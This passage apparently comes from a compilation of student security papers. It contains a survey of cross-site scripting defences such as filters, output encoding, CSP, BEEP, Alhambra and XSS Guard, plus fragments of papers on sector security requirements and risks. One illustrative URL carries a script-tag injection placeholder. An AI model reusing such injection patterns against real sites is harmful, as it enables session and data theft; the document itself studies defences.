Firstly, in the case of the Academic Environment, we can see 

that the balance of the open-access culture of institutions and 

its security levels are hard to maintain due to issues such as the 

privacy and intellectual freedom existing within secured 

environment. However, if security mechanisms are not 

installed, cases of sensitive and personal information can be 

hacked and exploited for other malicious reasons. For example, 

a hacker could obtain the grades or examination answers for his 

or her own benefits. In addition, the same group of people can 

also exploit the students’ or the constituents’ information in 

various negative ways. 

Secondly, in the case of the Banking Environment, if the 

applications on the bank servers are not properly secured, there 

would be two main consequences that could occur. (1) Attacks 

such as Denial-Of-Service attacks can occur, preventing the 

clients of the bank to lose the platform for their monetary 

transactions. This is turn causes clients of the bank to suffer 

massive losses in terms of business profits. (2) Attacks that 

allow hackers to obtain credential information of the bank 

clients will provide them with opportunities to exploit this 

information. For example, hackers could use this information 

for ulterior motives such as performing unauthorized bank 

transactions and deriving plans to kidnap the rich based on the 

residential and monetary information obtained. 

Lastly, in the case of the Biometric Environment, the process 

of identity theft would give its perpetrators the ability to 

assume multiple identities. Simultaneously they are also able to 

commit crimes globally and remain off the radar of both the 

local and international authorities. Hence, without proper 

security mechanisms in place, these consequences can easily 

importunate problems that can be hard to resolve.  
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ABSTRACT 
Web applications are built as stateful applications running on a 

stateless architecture. This results in applications being prone to 

security vulnerabilities. However, as revamping the entire web 

architecture into a stateful system is not practical, we believe that 

the correct approach to reducing web security vulnerabilities is to 

implement a security module in web applications that mimics the 

access control found in operating systems. In the context of 

prevention of cross-site scripting attacks, several methods have 

made an attempt to mimic a binary  access control model by 

distinguishing between trusted and untrusted sources and creating 

an environment that allows the programmer to configure rather 

than to implement additional logic in the program. In this paper, 

we have presented an overview and an evaluation of these 

methods. We further propose that these solutions should be  

refined to adopt multi-level security to make the policy more 

flexible and robust. 
 

 

Categories and Subject Descriptors 
D.4.6 [Security & Protection]: Information Flow Controls; 

K.6.m [Miscellaneous]: Security; H.3.5 [Online Information 

Services]: Web-based Services 
 

 

General Terms 
Design, Security 
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1. INTRODUCTION 
  XSS (Cross-site scripting) attacks are the most widely spread 

web application security flaw [1]. It occupied the third position in 

the OWASP 2013 Top 10 web application security weaknesses 

list [1]. A website security statistics report by WhiteHat found 

that there was a 53% likelihood that at least one serious XSS 

vulnerability would appear on a website [2]. 23% of the sites in 

security critical industries like banking were found to have at least 

one XSS vulnerability.[2] 
   Traditional methods to prevent XSS attacks include filtering and 

encoding, and are recommended as first line defences against XSS 

[3]. Some current new methods which are being developed or have 

recently been released are Content Security Policy, Browser-

Enforced Embedded Policy, Alhambra, and XSS Guard. These 

methods attempt to make a separation between trusted and 

untrusted data, like those found in access controls.  
   Access control refers to security features that control who can 

access resources in the operating system. In this paper, we explore 

the use of web solutions that mimic the behaviour of access 

controls as a way to mitigate XSS. We further elaborate on how 

the current solutions should be fine-tuned by changing it from 

two-level security to multi-level security. 
 

 

1.1 Organization of the paper 

 
   Section 2 introduces different types of Cross Site Scripting 

attacks.  Section 3 will use existing literature to introduce the 

concept of preserving the trusted computing base of the web and 

the flaws of the current web access control model in the context of 

XSS attacks. Section 4 describes methods which traditionally form 

the first line of defence against XSS attacks. We will establish that 

these conventional methods fall short of being an exhaustive 

solution to the problem. Section 5 summarises modern XSS 

prevention systems. Section 6 presents the core position of our 

paper that the access control model of applications needs to be 

changed in order to effectively prevent XSS attacks. 
 

 

2. TYPES OF XSS ATTACKS 
   Cross-site scripting (XSS) is an application layer attack in which 

malicious scripts are injected into the victim page that is then 

executed by the browser. The vulnerabilities in the application 

permit the injected code to run on the same permissions as any 

other code on the page, allowing the attacker’s code to access the 

victim’s cookies, page content and any other resources protected 

by the same-origin policy. These malicious scripts include, but not 

limited to, JavaScript, VBScript, ActiveX, or Flash. There are 
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three types of XSS attacks categorised based on the method that 

they are included into the victim page. These are stored XSS 

(type-2 XSS), reflective XSS (type-1 XSS), and DOM-based XSS 

(type-0 XSS). 
   In stored XSS, the malicious script is stored in the application’s 

database. This usually happens when an attacker inserts malicious 

script into user text inputs on the web application. The stored 

malicious script will run on the victim’s browser when the content 

of that database in loaded by the victim. 
    In reflective XSS, the malicious script is not stored in the 

server. Rather, it is embedded in a HTTP request specially crafted 

by the attacker. The user’s browser that visits the malicious link 

prepared by the attacker will initiate a HTTP request to the 

vulnerable web application together with the malicious script. The 

script is then reflected back to the victim’s browser and is 

executed in the context of the victim’s user session. In this sense, 

reflective XSS is transient as the server does not store the 

malicious code, but provides it back to the browser. 
  DOM-based XSS is similar to reflective XSS in that the script is 

embedded in a HTTP request except that the script does not get 

sent over to the server. The attack occurs purely on the client-side 

when scripts manipulate the page’s DOM and allow an attacker to 

run his script embedded in the request. For example, a site that has 

a default field for one of its DOM would run the malicious script 

when a URL like 

http://www.somesite/page.html?default=<script>malicious_script</scr

ipt> is run. This poses dangers such as allowing attackers to access 

a session cookie or confidential information on the page. As 

DOM-based XSS attacks are not sent to the server, it is not 

possible to detect them in the server side. 
 

 

 

3. FUNDAMENTAL PROBLEM WITH THE 

WEB 
  The preservation of trust states and integrity of sessions is 

governed by the trusted computing base (TCB) which is the 

underlying operating system of the architecture. The reason why 

TCB of the Internet is inherently weak is because the web runs 

stateful applications on stateless infrastructure [4]. In a stateful 

application, the application can track and make access control 

decisions based on a trust state. However, web infrastructures are 

stateless as each HTTP request is processed by an independent 

server-side process, even if it is initiated within the same session. 

This makes preserving trust states not possible. The current 

architecture of the web contains no in-built mechanism for the 

server to label the trust state of the data and maintain it 

throughout the lifetime of a session. Hence, while the server can 

tell whether a request belongs to the same session or not, it could 

not tell whether it is triggered by a trusted or untrusted source and 

hence has to label all request from the same source in the same 

session as trusted. In the web-application security model, this is 

known as the Same Origin Policy. This is also the vulnerability 

that XSS attacks target. Although this stateless design has crafted 

multitudes of security vulnerabilities, especially XSS, being 

stateless has made the internet to be more efficient in terms of 

using less resources (servers etc) and is hence still preserved.[4] 

  The current security infrastructure in web application leads to 

poor differentiators of trusted code and data from untrusted ones. 

For instance, Du et al. [2011] point out that servers are aware that 

third party content is not trustworthy, however this trust state is 

not preserved when the server transfers data for rendering on the 

browser. This has led to a model of the web which violates the 

following design principles as identified by Du et al. [2011]:  
Least privileges: Where possible, privileges must be able to limit 

interaction based on trustworthiness. As trusted and untrusted 

sources don’t have a clear demarcation, the web developer ends up 

allocation the same privileges to all sources. 
Separation of privileges: Where possible, privileges must be 

divided into lower privileges. This ensures that no single 

compromise can disrupt the entire system.[5] 

Web developers have to compensate for this weakened TCB by 

adding additional logic to the architecture. However, the extra logic 

factored in by the developers increases the vulnerabilities of the 

architecture in the following ways proposed by Du et al. [2011] 
 

Awareness- Most developers are unaware of the weakened TCB 

and hence end up treating web applications as stateful 

applications. 
Implementation – The architecture of the TCB is hard to 

implement and complex to manage.  
 

Inexperienced programmers may also add in secondary 

vulnerabilities in the process of formulating their own TCB. 

    Despite efforts to educate programmers on security to protect 

web applications, 80% of web applications still contain 

vulnerabilities [4]. The fundamental reason for the proliferation of 

so many vulnerabilities in the web has been localised to the 

stateless nature of the web. XSS attacks can be further localised to 

the lack of a well-defined access control model. The way most 

applications are developed assumes statefulness at the server, and 

sessions allow stateful web applications to run on stateless 

infrastructure. However, sessions do not preserve the trust state 

of the web, consequently leaving the onus of coming up with 

application specific security logic on developers, like using 

encoding libraries to prevent XSS. 
    Some of the methods to mitigate XSS are described in section 4 

and 5. Section 4 describes the methods that form the front-line 

defence while section 5 describes more recent approaches to XSS 

attacks. 

 

 

4. TRADITIONAL METHODS 
In this section we look at some of the traditional methods 

employed to combat XSS attacks. Input filtering and output 

encoding are the most pervasive techniques in use by the security 

community.  
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4.1 Filters 

 
4.1.1 Overview 
   XSS filters are designed to defend against XSS attacks without 

having the web developer change the web site [6]. A majority of 

XSS filters try to prevent the leak of unsanitised information to 

the attacker’s disk. This is accomplished by monitoring the active 

content flows in the website – such as but not limited to the 

JavaScript environment and blocking suspected leakages. 
 

4.1.2  Filter sensitivity 
   As most of the html response by the web page is assumed to be 

safe, the filters only attempt to detect scripts in the response to 

reduce parsing overhead. However, the mechanism to detect if a 

particular byte pattern will be rendered as a script in a browser is 

hard to implement and subject to browser specifications. 
 

High sensitivity: 
The filter generates the output as the browser would 

subsequently. However, this means that there duplication of the 

web content being rendered and hence loading times take a upward 

jump. 
 

 

Low sensitivity: Low sensitivity filters attempt to reduce the 

overhead of rendering all the byte patterns by instead using regular 

expressions. However, these matching expressions can be easily 

circumvented [7].  Good example is the IE8 filter in which the 

following false positive is invoked: 
<textarea><script> ... </script></textarea> 
Considered as a script when in fact it should not because of the 

<textarea> tags. 
 

 

 

4.1.3 Architectural drawbacks 
  The main drawback of filtering is that the differentiators between 

malicious and non-malicious information transfers are vague. Most 

web pages are hyperlinked to other web pages and these hyperlink 

URL’s carry some of amount of data in them already. With the 

coming of Web 2.0 and now Web 3.0, inter website protocols such 

as Oauth and postMessage have emerged which represent a 

communication channel between different web pages/sites [6]. 

Hence, it becomes hard for static filters to decide on what has to 

be blocked and what does not. 
   Even if a XSS filter can block all malicious outlets of sensitive 

data, it cannot block transfer of data to an honest web server.  To 

elaborate more, consider the example of facebook and other social 

networking and email clients which allow self-messaging. An 

attacker can load a malicious script onto the user’s account with 

the intention of gaining access to sensitive information [7]. He can 

invoke the script to send data to the account it has been loaded in. 

XSS filters will not be able to detect or track flow of sensitive 

information to a honest web server or account as it may in fact be 

required for the normal operation of the web site. 
  Some filters attempt to stop XSS attacks before the malicious 

script embeds itself in the target HTML page. This is 

accomplished by matching the HTTP request and the HTML 

response. A difference between the two is classified as a threat 

and the HTML rendering is blocked immediately. This 

mechanism, however, fails to protect against stored XSS attacks. 

Stored XSS scripts are by definition present in the HTTP request 

and hence fail to be detected. 

 
4.1.4 Errors in high fidelity filters 
  A subtle deviation between the parser’s simulations and the 

actual web browser rendering has been extensively studied [8]. IE8 

filter, for example, does not correctly decode the byte to character 

transformation. UTF -7 encoding can provide the attacker the 

opportunity to freely inject script. 
Induced Positives: Once the filter has detected that the html 

response contains script elements, it will attempt to block the 

attack. However, blocking the entire web page will lead to poor 

user experience. Hence, the filter attempts to change the response 

partially to negate the attack. 
IE8 for example, replaces the ‘r’ char in <script> with a #. This 

mechanism, however, can lead to blocking of security critical code. 
Consider the example of the following response 
http://victim.com/?<script src="secure.js"></script> 
Since the <script tag> is present in both the request and response, 

the filter will change the response to block the execution of 

‘secure.js’ which is a critical code for the site’s security. 

 

4.2 Output Encoding 
  Output encoding relies on the principle of stripping off malicious 

and active elements from the output being rendered.XSS attacks 

take place while output is being rendered in the user’s web 

browser. Hence, output encoding is preferred over input 

validation. 

 
HTML encoding 
It refers to the mechanism by which html ASCII elements are 

replaced by their ‘entity’ counterparts. Some characters have 

HTML syntax relevance and hence must be escaped to deny 

exchanges to active context by an attacker. 
 

 

Table 1: HTML encoding examples 

  

Initia

l 
Final 

&  &amp 
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< &lt 

> &gt 

“ &quot 

‘ &#x27 

/ &#x2F 

 

 

However, the main drawback of html encoding is that it leads to 

poor user experience by mangling essential lexical characters into 

encoded entity values. 
 

Regex Encoding: Regular expressions can be used to parse 

through server output and render clean output to the user.  
 

Type: Email Regex: ^[A-Z0-9._%+-]+@[A-Z0-

9.-]+\.[A-Z]{2,6}$ 

However, regex, by virtue of being developer- defined cannot 

encompass every variation of malicious elements disguised to 

appear as non-malicious ones.  
 

 

Encoding Libraries: Encoding libraries like HtmlPurify() provide 

a easy to use API to encode web elements before rendering them 

on the client’s page.  
$clean= HTMLPurifier($tainted) 
  HTMLpurifier works with php but there are multitude of other 

libraries for almost all web development languages. 

AntiXSS.GetSafeHtmlFragment() while outputting the page can 

be used for .NET framework web pages. 
   The main drawback of encoding libraries is that they involve 

multiple calls to regex matching statements and hence reduce the 

responsiveness of the webpage to a great extent [9]. 
As such, both encoding and filtering are based on reactive design 

whereby the solution follows the vulnerability and not the other 

way around [10]. 
 

 

5. MODERN APPROACHES 
   In this section, we examine and evaluate some new techniques to 

prevent XSS attacks. These new techniques make an attempt to 

identify trusted data from untrusted data in order to preserve the 

trust state of the browser. In order to do so, techniques like CSP 

(Content Security Policy) allows developers to specify the types 

of requests that trusted data can make. BEEP (Browser Enforced 

Embedded Policy) categorises trusted data from untrusted data by 

maintaining a blacklist and a whitelist of permitted JavaScript 

functions. Prototypes of XSS prevention systems like Alhambra 

use taint tracking to differentiate untrusted user input from trusted 

input thereby limiting the actions of untrusted input,  while XSS 

Guard uses dynamic learning to recognise how a trusted script 

should behave. These prevention policies and systems are 

evaluated in greater depth below. 
 

5.1 CSP (Content Security Policy) 
   In the current web environment, content rendered is restricted 

based on the Same Origin policy (SOP). According to this policy -

in the default access control state-data from the same origin is 

trusted equally and given the same privileges [4]. In an XSS attack, 

the malicious script is injected into site content and is 

subsequently run with the same privileges as the rest of the site 

content. 
   A content security policy protects against XSS attacks by 

allowing web application developers and server administrators to 

specify how content interacts with the web [11]. 
 

 

5.1.1 Overview 
   A CSP can be used to limit a site’s behaviour to only execute 

actions which are expected by the site developer. This can also be 

used to control the actions of third party scripts. If implemented 

properly, CSP can contain the effects of an XSS attack which is 

successful in injecting malicious script into the site. This means 

that the malicious script’s ability to import content from or make 

requests to third parties is severely restricted. If effect, while a 

CSP cannot necessarily prevent a malicious script from executing, 

it can contain the ability of the script to inflict damage on the site. 
   A scheme proposed by Stamm et al. 2010 conveys the CSP 

policy through a HTTP header which is provided in a HTTP 

response from the server. The default policy has two base 

conditions. It i) prevents execution of inline scripts and ii) 

Prevents string from becoming code [11]. 
   The non-execution of inline scripts calls upon developers to 

separate content from code and requires scripts to be referenced 

externally. The second base condition implies that calls to 

functions like eval(), setInterval etc. are blocked. 
 Apart from the base restrictions, a series of URI directives are 

made available to site developers which allows fine-tuning of the 

CSP and define specifically where the different types of content 

can be sourced from. The base restrictions protect against Type 1 

and Type 2 XSS attacks as inline scripts are not executed and an 

attacker cannot pass tainted strings through functions like eval() 

[11]. A DOM based XSS attack cannot be controlled by the base 

restrictions , however the action of a malicious script is curtailed 

by the URI directives of the CSP in place. 
Google Chrome (v.25+), Firefox (v.23+) and Opera  (v.19+)  have 

currently introduced a CSP defined by W3C specifications which 

define the resources an extension will require for proper execution. 

 
5.1.2 Evaluation 
  The main strength of CSP is the flexibility of the policy. It is 

possible to remove base restrictions to provide backward 

compatibility for sites where developers do not adhere to the 
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baseline conditions (although this will hinder protection against 

XSS). As CSP does not introduce any new functionality, but only 

limits existing functionality, incomplete implementation (eg. only 

on browser or server) will not pose a major hindrance to user 

experience. By deploying the CSP policy through the HTTP 

header, the policy remains disjoint from the page and thereby 

minimises the risk corruption of the DOM or source code 

compromising the security policy [11]. 
  CSP has two major drawbacks: it is a hybrid solution and it 

requires change management in developers. 

CSP is a hybrid solution which needs to be implemented on both 

browser and server in order to be effective (where  the server 

communicates the policy in a format which is enforceable by the 

browser). In the implementation by Stamm et al., 2010 browser 

modification required the addition of approximately 4000 lines of 

C++ and JavaScript code to Firefox in the form of patches. A 

separate CSP parser was required to be created to check whether 

HTTP requests were in accordance with the defined security 

policy [11]. A hybrid solution introduces a high barrier to 

adoption. 
  Developers will need to separate content from code in order to 

comply with the base restrictions. They would also need to avoid 

use of unsafe, popular JavaScript functions like eval(). Prevention 

measures which require a change in coding behaviour also pose a 

barrier to adoption. 
 

 

 

5.2 BEEP (Browser-Enforced Embedded 

Policies) 
5.2.1 Overview 
   BEEP is a more inflexible version of a CSP (Content Security 

Policy).  The strategy behind BEEP is based on two principles: a) 

 As script detection and execution is performed by the browser 

when rendering a web page, the browser is a good site to filter 

scripts  b) Web application developers know exactly which 

scripts should be executed by the browser [12]. Thus, a standard 

BEEP implementation relies on a web application developer 

defining a security policy which is subsequently enforced by the 

browser. 
   An implementation proposed by Jim et al. [2007] uses two 

security policies. The first involves comparison of scripts with a 

whitelist prior to execution. This whitelist - defined by the 

application developer in a trusted JavaScript function (called a 

security hook) embedded within the page - would contain a list of 

one-way hashes of all scripts appearing in the page. Prior to script 

execution, the browser would pass the script to the hook function 

where it would be compared against the whitelist. 

  The second policy involves the developer sandboxing content 

which may be exploited by a malicious user (DOM sandboxing). 

This is achieved by placing the content within <div> or <span> 

tags. Scripts are disabled within these tags resulting in a code 

injection on the content being unsuccessful. 
 

5.2.2 Evaluation 
     BEEP provides complete coverage from XSS attacks as it 

excludes unauthorised scripts from being executed by either 

enumerating the permitted scripts in a whitelist or by blacklisting 

regions of code to distinguished areas where unapproved scripts 

cannot occur. Moreover, the implementation of BEEP proposed 

by Jim et al. [2007] is minimal and involves approx. 650 lines of 

code. 
  However, being a hybrid solution, achieving this complete 

coverage requires adoption by web application developers as well 

as browsers. Application developers will need to either directly 

enumerate the scripts which can be executed or indirectly indicate 

no-script regions. Browsers will also need to be modified to pass 

script to the security hook before it invokes the JavaScript 

interpreter. It also has to ensure that the first script to be parsed is 

the hook function which should be included by the developer on 

the head of the document. We will establish in section 5 that 

prevention methods which rely on change in developer behaviour 

are seldom successful.  
   BEEP does not actively test the script for malicious content. It  

only ensures that trusted scripts can run, however given the 

current access control model of the web, this approach poses 

certain limitations. Content from third-party programs (ad-serving 

programs like Ad Brite which use a snippet of code to retrieve ad 

content) on reaching a browser will enjoy the same privileges as a 

first party program [4]. BEEP implicitly trusts scripts which 

originate from a trusted source.  Sometimes, third party scripts 

may dynamically create new scripts which are inserted in the p age 

using DOM operations. If the application developer is tricked into 

inserting a malicious third party script and declaring it as trusted, 

it is possible for the script to modify the document as well as 

corrupt the security hook function [12].   
   BEEP’s effectiveness is further limited to being restricted to 

scripts which run on a web site. Content from stylesheets, images, 

 Java Applet and Flash plugins are able to run scripts which are 

not restricted by BEEP. A more granular implementation can be 

achieved by an overarching CSP [11].        

 

 

5.3 Alhambra 
5.3.1 Overview 
    Alhambra is a system based on a modified version of the Opera 

web browser running on top of Linux designed to enforce and test 

web browser security policies. Unlike CSP and BEEP, this is a 

purely client-side solution to XSS which enforces security policies 

as the page is parsed and scripts are executed on the browser [13]. 

This consists of two policies which are targeted at preventing XSS 

attacks. First, it uses taint tracking to block scripts that has 

variables from untrusted sources. Secondly, it enforces the 

document structure of web pages to ensure that only scripts from 

a set of whitelisted domain could run. In addition, Alhambra has a 

replay system for testing the compatibility cost of deployment of 

a security policy. 
 

211



Taint tracking: DOM based XSS attacks arise because client-

side logic insecurely uses objects controlled by attackers [13].To 

prevent DOM-based XSS attacks, Alhambra implemented data 

flow tracking in the browser and developed suitable policies to 

prevent untrusted input from being executed as JavaScript [13]. 

This method is called taint tracking. Objects originated from 

untrusted sources are marked as tainted and taint information is 

propagated as the web application interacts with tainted data on 

the JavaScript object level [13].  
 

Automatic Document Structure Integrity (DSI): To prevent 

content injection attacks, Alhambra generates policies based on the 

page structure and behaviour [13]. The policy is created using 

information generated automatically by visiting and analysing web 

applications. Alhambra learns the document structure of a page, 

and then during subsequent visits to this page, it enforces the 

structure. If an attack tries to alter the structure of the page 

significantly, Alhambra will block the attack. 

 
  Alhambra uses a replay test system to ensure that its security 

policies do not interfere with browser compatibility. Tang et al. 

[2010] show that Alhambra does not impact the functionality of a 

web page on different browsers when running different security 

policies as well as can recognise normal page updates from more 

malicious behaviour.  

 
5.3.2 Evaluation 
  Alhambra provides a scalable method to ensure that its security 

policy adheres to browser compatibility thereby reducing the 

compatibility cost. This is a significant performance measure as 

many security policies tend to ignore human computer interaction 

usability as a measure of security policy. The use of taint-tracking 

and DSI may impose overheads slowing down the browser 

significantly with the addition of a new field to every JavaScript 

object, additional logic to be processed whenever a script is about 

to run as well as JavaScript accesses to DOM methods. 

Alhambra’s performance test has shown that there are no 

measurable latencies added to support taint tracking. 
Being a client side solution, Alhambra effectively defends against 

unpatched servers and faces little barrier to adoption unlike that 

faced by hybrid solutions. 
   However Alhambra does not check the contents of a script, it 

merely enforces a general policy. A security policy like DSI 

checks the general structure of a page. Thus, a malicious script 

which is designed to mimic the original document structure will 

not be blocked by Alhambra. 
Being a pure, client-side solution, the challenge with solutions like 

Alhambra is to localise the right amount of granularity to strike a 

balance between preventing attacks while ensuring that browsers 

render pages without affecting user experience.. 
 

 

5.4 XSS Guard 

5.4.1 Overview 
  XSS Guard is a new framework which is a server-side solution 

designed to prevent XSS attacks.. It works by dynamically 

learning the set of scripts that a web application intends to create 

for any HTML request. It also includes a robust mechanism for 

identifying scripts at the server side and removes any script in the 

output that is not intended by web application [14]. The concept 

behind XSS guard is that if a web application knows intended 

scripts and all scripts which are to be executed, then it can identify 

unintended, malicious scripts.  
   It does so by using shadow pages which are generated every 

time a HTTP response page is generated [14]. These pages are 

similar to the real HTTP response returned by the web 

application with mainly one crucial difference: they only retain the 

authorised scripts. The real and shadow pages are compared and 

any difference detected indicates a deviation from the web 

application’s intentions. 
   XSS Guard, being a server-side technique, is subjected to the risk 

of differences in browser implementations. In its current form, 

XSS Guard is only designed for Firefox browsers. As XSS Guard 

requires computation of shadow pages, there is a performance 

overhead which ranges from 5-24% [14]. 

 

The approaches presented above treat data as either trusted or 

untrusted. In the next section we explore an alternative model 

which would provide more robust protection against XSS. 

 

 

 

6. THE WAY FORWARD 

 

6.1 Application-based access control 
   The methods presented in this paper in section 4 are the front-

line defence against XSS attacks. However, the other methods 

described in section 5 are more sophisticated in handling XSS as 

they attempt to embed an access control in web applications by 

making a mechanism that separates between trusted and untrusted 

code and allowing programmers to configure and block untrusted 

code from running rather than coding additional logic on the 

application. The different solutions differ mainly in the way the 

mechanism works. 
   These methods are still application-based rather than 

environment-based or OS-based, i.e. web applications are still 

running on a stateless environment. Ideally, the web architecture 

should be revamped into a stateful system to reduce the reliance 

on applications to control their access to resources. 

Unfortunately, revamping the entire web architecture into a 

stateful system is not practical as it will cause significant 

downgrading of server performance [4]. For this reason, we believe 

that the approach taken by the methods presented in this paper, 

towards an application-based access control, is still the right 

direction to take in tackling XSS. 
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6.2 Shift from two-level to multi-level security 
 

     Most of the policies described separate trusted and untrusted 

sources. One of the potential difficulties in implementing these 

policies is in adjusting the thresholds of the algorithm used to 

correctly differentiate between the two. For example, a slight 

difference between the shadow page and the real page in XSS 

Guard may not necessarily mean that the real page is running 

scripts that are malicious. The core of the issue is how strict the 

separation between trusted and untrusted sources should be. 

Enforcing rules that are too strict is undesirable as it may turn 

trusted trusted sources into untrusted ones.  

   We believe that the current models could be further improved by 

re-designing the web application architecture to mimic that of 

security module found in operating systems like SELinux. This is 

inspired by the success of the OS in protecting its system. Access 

controls in these OSes are different from the XSS-prevention 

policies mentioned in the sense that it assigns a degree of 

trustworthiness to a part of the application rather than just a 

binary differentiation of ‘trusted’ and ‘untrusted’. 

   Du et al. [2011] have developed access control models similar to 

that found in the OS for both the browser-side and server-side. 

These models could be the blueprint for future web application 

architecture. On the browser-side, they have developed Escudo 

and Contego. Escudo proposes a ring access control model to 

allow web applications to put webpage contents in different rings, 

based on their trustworthiness.[15] Contego provides finer 

granularity by dividing action privileges (such as accessing cookies 

and sending AJAX requests) into tokens and only allowing 

principals that possess the token to perform certain actions. On 

the server-side, they have developed Scuta, a ring access control 

model to server-side data and programs. It divides session into 

multiple sub-sessions, each mapped to a different ring. Requests 

from a more trustworthy region in a web page belong to a more 

privileged sub-session. The browser-side and server-side models 

exist hand-in-hand to complement each other; the browser-side 

ring access control model is complemented by a corresponding 

server-side ring access control model. We believe that such a model 

is the way forward for XSS prevention. 

   For a more refined approach to XSS prevention, by having 

separation of degree of trustworthiness, critical sessions that are 

labelled as top secret can be protected from malicious XSS scripts 

that are given a lower level of access privilege, thus preventing 

such scripts from hijacking the session. The same scripts could 

still run during sessions that are of low access privilege, but 

scripts running in these sessions could not damage data or 

information that is labelled at a higher level. For example, in a blog, 

sessions related to the user’s login and password are categorised as 

of a higher level of secrecy, while the scripts in comments under 

each blog posts are given lower privilege. This way, the scripts 

running under comments could still run but not jeopardise 

anything related to the user’s login session. Giving different 

degrees of trustworthiness makes the policy more flexible and 

robust. It minimises the damages that malicious scripts could 

cause while still allowing scripts from unknown sources to run. 

 

 

 

 

7. CONCLUSION 
   The main reason why so many web applications fail is because 

they are stateful applications running on a stateless architecture. 

However, as revamping the entire web architecture into a stateful 

system is not practical, we believe that the approach taken by the 

methods presented in this paper is already in the right direction in 

tackling XSS. Most of these methods have made an attempt to 

mimic an access control model by distinguishing between trusted 

and untrusted sources and creating an environment that allows the 

programmer to configure rather than to implement the logic itself. 

These solutions can be further refined to adopt multi-level 

security to make the policy more flexible and robust. 
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ABSTRACT 

    Many key sectors in the world require various system 

requirements in order to keep their systems secure from different 

types of threats, not only cyber-attacks, but physical threats as 
well. Due to the large amount of sensitive information involved, 

coupled with the ever growing threats of cyber-attacks in the 

world1, it is essential that companies cannot underestimate the 

importance of keeping their systems secure. Different 
environments would require different security requirements, based 

on the potential threats involved, the sensitivity of information 

and the overall structure of the organization.  

    Through our research, we have discovered that there are 
numerous possible loopholes and flaws in current systems which 

malicious attackers are able to exploit. This paper analyses the 

potential threats, vulnerabilities and risks to four key sectors in the 

world and their different system requirements in order to prevent 
and/or mitigate these threats. The system requirements are then 

compared and contrasted to highlight the main differences of the 

approach to system security in these four environments.  

 

Categories and Subject Descriptors 

D.2.1 [Software Engineering]: Requirements/Specifications – 

Security requirements  

K.6.5 [Management of Computing and Information Systems]: 

Security and protection – Securing computers and systems 

E.3 [Data]: Data Encryption – Encrypting confidential and 

sensitive information  

 

General Terms 

Management, Security, Human Factors, Theory 
 

Keywords 
Risk Assessment, Threats, Vulnerabilities, Risks, Security 

Requirements 

 

1. INTRODUCTION 
As technology advances, it is inevitable that cyber-attacks will 

increase as cyber criminals look to utilize new found technology 

to exploit loopholes in systems and perform malicious attacks. It 

                                                                   

1 According to FBI director James Comey 

is every company’s responsibility that their data, system as well as 

network are properly and adequately secured.  

    This report starts of by looking into the four key sectors 
namely military institutions, the financial sector, medical systems 

and academic environments, and analyzing the various types of 

threats and vulnerabilities that their current systems face. This is 

done via a risk assessment process. It consists of the identification 
of threats (both non-physical and physical), vulnerabilities, and 

risks with the end goal of selecting appropriate security measures 

to reduce identified risks. In this report, threats and vulnerabilities 

are defined as follows. Threats are acts or conditions that can 

damage, destroy, or compromise information. Vulnerabilities are 

weaknesses or gaps in a security program that can be exploited by 

threats to gain unauthorized access to information. Risk is the 

result of threats and vulnerabilities. Without the potential for a 
threat and a vulnerability coming together, risk is undetermined or 

non-existent. In general, risk is defined as threat + vulnerability. 

In this report, the level of risk is determined by the possibility of 

the threat happening, how obvious and easily exploited is the 
vulnerability, the incentives for the attacker (motives, financial 

gains, etc.) and the consequences should the threat successfully 

exploit the vulnerability.   

    We would then examine the different system requirements and 
measures of each sector and how they achieve the five security 

goals, namely Confidentiality, Integrity, Accessibility, 

Authenticity and Accountability. Confidentiality ensures that data 

is made available only to authorized users and to prevent the 
disclosure of information to unauthorized users. Integrity refers to 

the trustworthiness of the data, that it has not been modified in 

any way while being exchanged. Availability ensures that access 

to a system is always available when required. Authenticity 
consists of verifying a user’s identity to ensure that he is 

authorized to view or access certain resources, and lastly, 

accountability refers to the non- repudiation and that the actions of 

an entity may be traced uniquely to that entity. One common 
requirement that all four areas have is the notion of dual control 

policy. It is a procedure whereby two people are required to 

complete a task, usually in which large amounts of money or 

sensitive information are involved. Dual control is one of the 
foundations of security as it is based on the principle that if a 

breach were to be committed, it would require the collusion of 

both parties, and due to the constant alternating of the pairs of 

people, it would require a high level of corruption in the company. 
Besides securing systems, computers and networks, physical 

security requirements is just as important as both physical threats 

as well as vulnerabilities are ever present in all four sectors. 
Physical access to an organization's secure areas, equipment, or 
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materials containing sensitive data may make it easier for a 

malicious insider to commit a crime.  
    This report also utilizes the framework proposed by Ross 

Anderson, in which there are four elements involved, namely 

Policy, Incentives, Mechanism and Assurance. Policy is all about 

what the requirement is supposed to achieve; protecting right 
areas in the right way. Incentives refer to the motivation of the 

people guarding the system. This is crucial, as even if the system 

is flawless in terms of security, if corrupted employees are 

operating the system it is as good as nothing. Mechanism refers to 
how the policy is implemented, such as ciphers and access 

controls. The strength of the mechanism is independent of the 

policy used, but can interact with it. And finally, assurance 

focuses on implementation and how much reliance the user places 
on them, given its strength and functionality. All of the above four 

elements must come together in order for a system to be secure.  

    The rest of the report would compare and contrast the 

differences between the security requirements and measures 
employed in each sector, based on the different types of threats 

involved and the framework used.   

2. MILITARY INSTITUTIONS 
    The military refers to the armed forces, such as the army and 

navy, of a country. They operate in military installation which 
comprises of offices, storage units, and housing and command 

buildings. These installations are staffed by military and non-

military personnel. Military personnel, such as officers and 

soldiers, are posted to these installations to perform a role within 

the military, while non-military personnel, such as service 

providers and vendors, are given explicit authorization to access 

specific areas of the installation to carry out a task. 

    Traditionally, military information, both secret and non-secret, 
and equipment are secured using physical means. Hence, physical 

security was the primary focus in military security requirements 

and security policies were drafted to enforce physical accesses 

and procedures. However, with the onset of the internet and 
advancements in Information Technology (IT), the military are 

increasing their use of digital methods to improve effectiveness 

and efficiency of their operations. Hence, there is an increasing 

need for non-physical security, such as computer and data security 
in the military security requirements whilst maintaining physical 

security requirements. 

2.1 Risk Assessment 

2.1.1   Perimeter Security 
    The first layer of deterrent and detection of physical intrusion is 

the perimeter security of the military installation. These 
installations may contain important assets, such as confidential 

military secrets and proprietary equipment, and house key 

personnel, who are essential in maintaining military activities to 

preserve nation security. Hence, these installations can be viewed 

as high value targets, since an attack on the installation can 

damage important assets and threaten the well-being of personnel, 

thereby hindering military operations.  

    Inherent weaknesses in the physical perimeter security controls 
pose a threat to the security of the installation. This is due to the 

fact that, if the perimeter is left improperly secured, a malicious 

perpetrator can gain unauthorized entry into the installation by 

exploiting weaknesses in the perimeter, such as a broken fence, 
and perform an attack within the installation. Similarly, legitimate 

personnel, who may have stolen or sabotaged some key asset, can 

also leave the installation without proper authorization, thereby 

leaving the scene of the crime. 
    In addition to perimeter controls, threat can also come from the 

